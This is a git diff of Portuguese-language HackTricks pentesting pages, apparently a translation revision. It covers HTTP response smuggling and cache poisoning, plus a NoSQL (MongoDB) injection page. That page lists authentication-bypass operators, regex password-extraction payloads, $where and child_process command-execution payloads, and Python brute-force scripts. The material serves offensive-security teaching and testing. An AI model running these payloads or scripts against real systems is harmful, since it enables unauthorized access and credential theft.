Seguindo o exemplo anterior, sabendo que você pode **controlar o corpo** da requisição cuja resposta será recebida pela vítima e que uma **resposta HEAD** geralmente contém em seus cabeçalhos o **Content-Type e o Content-Length**, você pode **enviar uma requisição como a seguinte** para **causar XSS** na vítima sem a página ser vulnerável a XSS:
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
### Envenenamento de Cache
|
||||
|
||||
Abusando do ataque de desincronização de resposta e Confusão de Conteúdo comentado anteriormente, **se o cache armazenar a resposta à requisição realizada pela vítima e esta resposta for uma injetada causando um XSS, então o cache está envenenado**.
|
||||
|
||||
Requisição maliciosa contendo o payload XSS:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Resposta maliciosa à vítima que contém o cabeçalho que indica ao cache para armazenar a resposta:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note que neste caso se o **"vítima" é o atacante** ele pode agora realizar **envenenamento de cache em URLs arbitrários** pois ele pode **controlar a URL que vai ser armazenada** com a resposta maliciosa.
|
||||
{% endhint %}
|
||||
|
||||
### Engano de Cache Web
|
||||
|
||||
Este ataque é semelhante ao anterior, mas **em vez de injetar um payload dentro do cache, o atacante estará armazenando informações da vítima dentro do cache:**
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
### Divisão de Resposta
|
||||
|
||||
O **objetivo** deste ataque é abusar novamente da **desincronização de resposta** para **fazer o proxy enviar uma resposta 100% gerada pelo atacante**.
|
||||
|
||||
Para conseguir isso, o atacante precisa encontrar um ponto final da aplicação web que esteja **refletindo alguns valores dentro da resposta** e **conhecer o comprimento do conteúdo da resposta HEAD**.
|
||||
|
||||
Ele enviará um **exploit** como:
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
Após a primeira requisição ser resolvida e enviada de volta ao atacante, a **requisição da vítima é adicionada à fila**:
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
A vítima receberá como resposta a **resposta HEAD + o conteúdo da segunda resposta à requisição (contendo parte dos dados refletidos):**
|
||||
|
||||
 (1).png>)
|
||||
|
||||
No entanto, note como os **dados refletidos tinham um tamanho de acordo com o Content-Length** da **resposta HEAD** que **gerou uma resposta HTTP válida na fila de respostas**.
|
||||
|
||||
Portanto, a **próxima requisição da segunda vítima** estará **recebendo** como **resposta algo completamente criado pelo atacante**. Como a resposta é completamente criada pelo atacante, ele também pode **fazer o proxy armazenar a resposta no cache**.
|
||||
|
||||
Outra **diferença interessante** com o Smuggling de Solicitação HTTP comum é que, em um ataque de smuggling comum, o **objetivo** é **modificar o início da solicitação da vítima** para que ela execute uma ação inesperada. Em um ataque de **Smuggling de Resposta HTTP**, como você está **enviando solicitações completas**, você pode **injetar em uma
|
||||
## Referências
|
||||
|
||||
* Não se esqueça de conferir este vídeo explicando todas essas técnicas muito bem: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)
|
||||
* Não esqueça de conferir este vídeo explicando todas essas técnicas muito bem: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,32 +1,34 @@
|
|||
# Injeção NoSQL
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Bancos de dados NoSQL oferecem restrições de consistência mais flexíveis do que os bancos de dados SQL tradicionais. Ao exigir menos restrições relacionais e verificações de consistência, os bancos de dados NoSQL geralmente oferecem benefícios de desempenho e escalabilidade. No entanto, esses bancos de dados ainda podem ser vulneráveis a ataques de injeção, mesmo que não estejam usando a sintaxe SQL tradicional.
|
||||
Bancos de dados NoSQL oferecem restrições de consistência mais flexíveis do que os bancos de dados SQL tradicionais. Ao exigir menos restrições relacionais e verificações de consistência, bancos de dados NoSQL frequentemente oferecem benefícios de desempenho e escalabilidade. No entanto, esses bancos de dados ainda são potencialmente vulneráveis a ataques de injeção, mesmo que não estejam utilizando a sintaxe SQL tradicional.
|
||||
|
||||
## Exploração
|
||||
|
||||
Em PHP, você pode enviar um Array alterando o parâmetro enviado de _parameter=foo_ para _parameter\[arrName]=foo._
|
||||
|
||||
Os exploits são baseados na adição de um **Operador**:
|
||||
As explorações são baseadas na adição de um **Operador**:
|
||||
```bash
|
||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||||
|
|
@ -52,95 +54,17 @@ username[$exists]=true&password[$exists]=true
|
|||
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
|
||||
```
|
||||
### **SQL - Mongo**
|
||||
|
||||
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB. Similar to SQL injection, it occurs when an attacker is able to manipulate a NoSQL query in order to retrieve, modify, or delete data from the database.
|
||||
|
||||
#### **Understanding NoSQL Injection**
|
||||
|
||||
NoSQL databases, like MongoDB, use a different query language than traditional SQL databases. Instead of using structured query language (SQL), they use a query language specific to the database system, such as MongoDB's query language.
|
||||
|
||||
NoSQL injection occurs when an attacker is able to manipulate the query parameters or input in a way that the application does not properly sanitize or validate. This allows the attacker to inject malicious code or operators into the query, which can lead to unauthorized access or manipulation of the database.
|
||||
|
||||
#### **Common NoSQL Injection Techniques**
|
||||
|
||||
1. **Query Parameter Manipulation**: Attackers can manipulate query parameters to modify the behavior of the query. For example, they can modify the query to retrieve all records instead of a specific subset.
|
||||
|
||||
2. **Operator Injection**: Attackers can inject operators into the query to modify its behavior. For example, they can inject the `$ne` (not equal) operator to bypass authentication and retrieve sensitive data.
|
||||
|
||||
3. **Code Injection**: Attackers can inject malicious code into the query, which can be executed by the database. This can lead to unauthorized access or execution of arbitrary commands.
|
||||
|
||||
#### **Preventing NoSQL Injection**
|
||||
|
||||
To prevent NoSQL injection, it is important to follow secure coding practices:
|
||||
|
||||
1. **Input Validation**: Validate and sanitize all user input before using it in a query. This includes checking for malicious characters or patterns.
|
||||
|
||||
2. **Parameterized Queries**: Use parameterized queries or prepared statements to separate the query logic from the user input. This helps prevent injection attacks by treating user input as data, rather than executable code.
|
||||
|
||||
3. **Least Privilege Principle**: Ensure that the database user account used by the application has the least privileges necessary to perform its intended functions. This limits the potential impact of an injection attack.
|
||||
|
||||
By following these best practices, you can help protect your NoSQL databases from injection attacks and maintain the security of your application.
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00
|
||||
```
|
||||
### Extrair informações de **comprimento**
|
||||
|
||||
NoSQL Injection pode ser usado para extrair informações sobre o comprimento dos dados armazenados em um banco de dados NoSQL. Isso pode ser útil para entender a estrutura do banco de dados e identificar possíveis vulnerabilidades.
|
||||
|
||||
#### Técnica de Injeção
|
||||
|
||||
A técnica de injeção NoSQL envolve a exploração de consultas que usam operadores de comparação, como `$gt` (maior que), `$lt` (menor que) ou `$eq` (igual a). Ao fornecer valores manipulados para esses operadores, é possível obter informações sobre o comprimento dos dados.
|
||||
|
||||
#### Exemplo
|
||||
|
||||
Considere a seguinte consulta NoSQL:
|
||||
|
||||
```javascript
|
||||
db.users.find({ username: { $eq: "admin" } })
|
||||
```
|
||||
|
||||
Para extrair informações sobre o comprimento do campo `username`, podemos fornecer um valor manipulado para o operador `$eq`:
|
||||
|
||||
```javascript
|
||||
db.users.find({ username: { $eq: { $ne: null } } })
|
||||
```
|
||||
|
||||
Se a consulta retornar um resultado, isso indica que o comprimento do campo `username` é maior que zero. Caso contrário, o comprimento é zero.
|
||||
|
||||
#### Considerações de Segurança
|
||||
|
||||
Para proteger um aplicativo contra injeção NoSQL, é importante validar e sanitizar todas as entradas do usuário. Além disso, é recomendável usar bibliotecas ou frameworks que ofereçam recursos de segurança embutidos para mitigar esse tipo de vulnerabilidade.
|
||||
```bash
|
||||
username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
# True if the length equals 1,3...
|
||||
```
|
||||
### Extrair informações **data**
|
||||
|
||||
NoSQL injection is a type of attack that targets NoSQL databases, which are non-relational databases that store data in a flexible, schema-less format. This attack occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions.
|
||||
|
||||
In a NoSQL injection attack, the attacker takes advantage of vulnerabilities in the application code that interacts with the NoSQL database. These vulnerabilities can allow the attacker to inject malicious code into the query, which can then be executed by the database.
|
||||
|
||||
One common method of NoSQL injection is through the manipulation of query parameters. By modifying the values of these parameters, an attacker can change the behavior of the query and potentially retrieve sensitive information.
|
||||
|
||||
For example, consider a web application that uses a NoSQL database to store user information. The application may have a login feature that checks if a given username and password match a record in the database. The query used to perform this check may look something like this:
|
||||
|
||||
```javascript
|
||||
db.users.find({ username: 'admin', password: 'password123' })
|
||||
```
|
||||
|
||||
In a NoSQL injection attack, an attacker could manipulate the query parameters to bypass the login check and retrieve all user records from the database. For example, by providing the following input:
|
||||
|
||||
```
|
||||
username: { $ne: null }, password: { $ne: null }
|
||||
```
|
||||
|
||||
The resulting query would retrieve all user records, regardless of the username and password provided.
|
||||
|
||||
To prevent NoSQL injection attacks, it is important to properly validate and sanitize user input before using it in a database query. This can include techniques such as input validation, parameterized queries, and output encoding.
|
||||
|
||||
By following secure coding practices and regularly testing for vulnerabilities, developers can help protect their applications from NoSQL injection attacks and ensure the security of their data.
|
||||
### Extrair informações de **dados**
|
||||
```
|
||||
in URL (if length == 3)
|
||||
username[$ne]=toto&password[$regex]=a.{2}
|
||||
|
|
@ -159,34 +83,6 @@ in JSON
|
|||
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
||||
```
|
||||
### **SQL - Mongo**
|
||||
|
||||
NoSQL injection is a type of attack that targets NoSQL databases, such as MongoDB. Similar to SQL injection, it occurs when an attacker is able to manipulate a NoSQL query in order to retrieve, modify, or delete data from the database.
|
||||
|
||||
#### **Understanding NoSQL Injection**
|
||||
|
||||
NoSQL databases, like MongoDB, use a different query language than traditional SQL databases. Instead of using structured query language (SQL), they use a query language specific to the database system, such as MongoDB's query language.
|
||||
|
||||
NoSQL injection occurs when an attacker is able to manipulate the query parameters or input in a way that the application does not properly sanitize or validate. This allows the attacker to inject malicious code or operators into the query, which can lead to unauthorized access or manipulation of the database.
|
||||
|
||||
#### **Common NoSQL Injection Techniques**
|
||||
|
||||
1. **Query Parameter Manipulation**: Attackers can manipulate query parameters to modify the behavior of the query. For example, they can modify the query to retrieve all records instead of a specific subset.
|
||||
|
||||
2. **Operator Injection**: Attackers can inject operators into the query to modify its behavior. For example, they can inject the `$ne` (not equal) operator to bypass authentication and retrieve sensitive data.
|
||||
|
||||
3. **Code Injection**: Attackers can inject malicious code into the query, which can be executed by the database. This can lead to unauthorized access or execution of arbitrary commands.
|
||||
|
||||
#### **Preventing NoSQL Injection**
|
||||
|
||||
To prevent NoSQL injection, it is important to follow secure coding practices:
|
||||
|
||||
1. **Input Validation**: Validate and sanitize all user input before using it in a query. This includes checking for malicious characters or patterns.
|
||||
|
||||
2. **Parameterized Queries**: Use parameterized queries or prepared statements to separate the query logic from the user input. This helps prevent injection attacks by treating user input as data, rather than executable code.
|
||||
|
||||
3. **Least Privilege Principle**: Ensure that the database user account used by the application has the least privileges necessary to perform its intended functions. This limits the potential impact of an injection attack.
|
||||
|
||||
By following these best practices, you can help protect your NoSQL database from injection attacks and maintain the security of your application.
|
||||
```
|
||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||||
|
|
@ -198,17 +94,17 @@ By following these best practices, you can help protect your NoSQL database from
|
|||
...
|
||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||||
```
|
||||
### Execução Arbitrária de Função em PHP
|
||||
### Execução Arbitrária de Função PHP
|
||||
|
||||
Utilizando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por padrão), pode ser possível executar uma função arbitrária, como descrito neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por padrão), pode ser possível executar uma função arbitrária como no [este relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Obter informações de uma coleção diferente
|
||||
### Obter informações de diferentes coleções
|
||||
|
||||
É possível usar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma **coleção diferente** chamada **`users`** e obtendo os **resultados de todas as entradas** com uma senha correspondente a um caractere curinga.
|
||||
É possível usar [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma **coleção diferente** chamada **`users`** e obtendo **os resultados de todas as entradas** com uma senha correspondente a um coringa.
|
||||
```json
|
||||
[
|
||||
{
|
||||
|
|
@ -227,11 +123,11 @@ Utilizando o operador **$func** da biblioteca [MongoLite](https://github.com/age
|
|||
}
|
||||
]
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
|
@ -271,43 +167,7 @@ if 'OK' in r.text:
|
|||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
## Cargas úteis do MongoDB
|
||||
|
||||
### Injeção de NoSQL
|
||||
|
||||
A injeção de NoSQL é uma técnica de ataque que visa explorar vulnerabilidades em bancos de dados NoSQL, como o MongoDB. Essa técnica é semelhante à injeção de SQL, mas é adaptada para bancos de dados NoSQL.
|
||||
|
||||
### Cargas úteis para Injeção de NoSQL
|
||||
|
||||
Aqui estão algumas cargas úteis comuns usadas para explorar vulnerabilidades de injeção de NoSQL em bancos de dados MongoDB:
|
||||
|
||||
1. **Carga útil de autenticação**: essa carga útil é usada para tentar autenticar como um usuário específico no banco de dados MongoDB. Ela pode ser usada para explorar vulnerabilidades de autenticação fraca.
|
||||
|
||||
```javascript
|
||||
{"$ne": 1, "username": "admin", "password": {"$ne": 1}}
|
||||
```
|
||||
|
||||
2. **Carga útil de enumeração**: essa carga útil é usada para enumerar informações sobre o banco de dados, como nomes de coleções e campos.
|
||||
|
||||
```javascript
|
||||
{"$where": "sleep(1000)"}
|
||||
```
|
||||
|
||||
3. **Carga útil de injeção condicional**: essa carga útil é usada para explorar vulnerabilidades de injeção condicional, onde a aplicação executa consultas condicionais no banco de dados.
|
||||
|
||||
```javascript
|
||||
{"$gt": "", "username": "admin", "password": {"$regex": "^a"}}
|
||||
```
|
||||
|
||||
4. **Carga útil de injeção de comandos**: essa carga útil é usada para executar comandos no servidor MongoDB.
|
||||
|
||||
```javascript
|
||||
{"$where": "this.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls').toString()"}
|
||||
```
|
||||
|
||||
### Considerações finais
|
||||
|
||||
Essas cargas úteis são apenas exemplos e podem variar dependendo do contexto e da aplicação específica. É importante entender as vulnerabilidades de injeção de NoSQL e adaptar as cargas úteis de acordo com o cenário de teste.
|
||||
## Payloads MongoDB
|
||||
```
|
||||
true, $where: '1 == 1'
|
||||
, $where: '1 == 1'
|
||||
|
|
@ -332,7 +192,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
|||
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
||||
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
||||
|
||||
### Força bruta para obter nomes de usuário e senhas de login através de POST
|
||||
### Força bruta em nomes de usuário e senhas de login via POST
|
||||
|
||||
Este é um script simples que você pode modificar, mas as ferramentas anteriores também podem realizar essa tarefa.
|
||||
```python
|
||||
|
|
@ -392,20 +252,22 @@ get_password(u)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
|
|
@ -2,64 +2,66 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
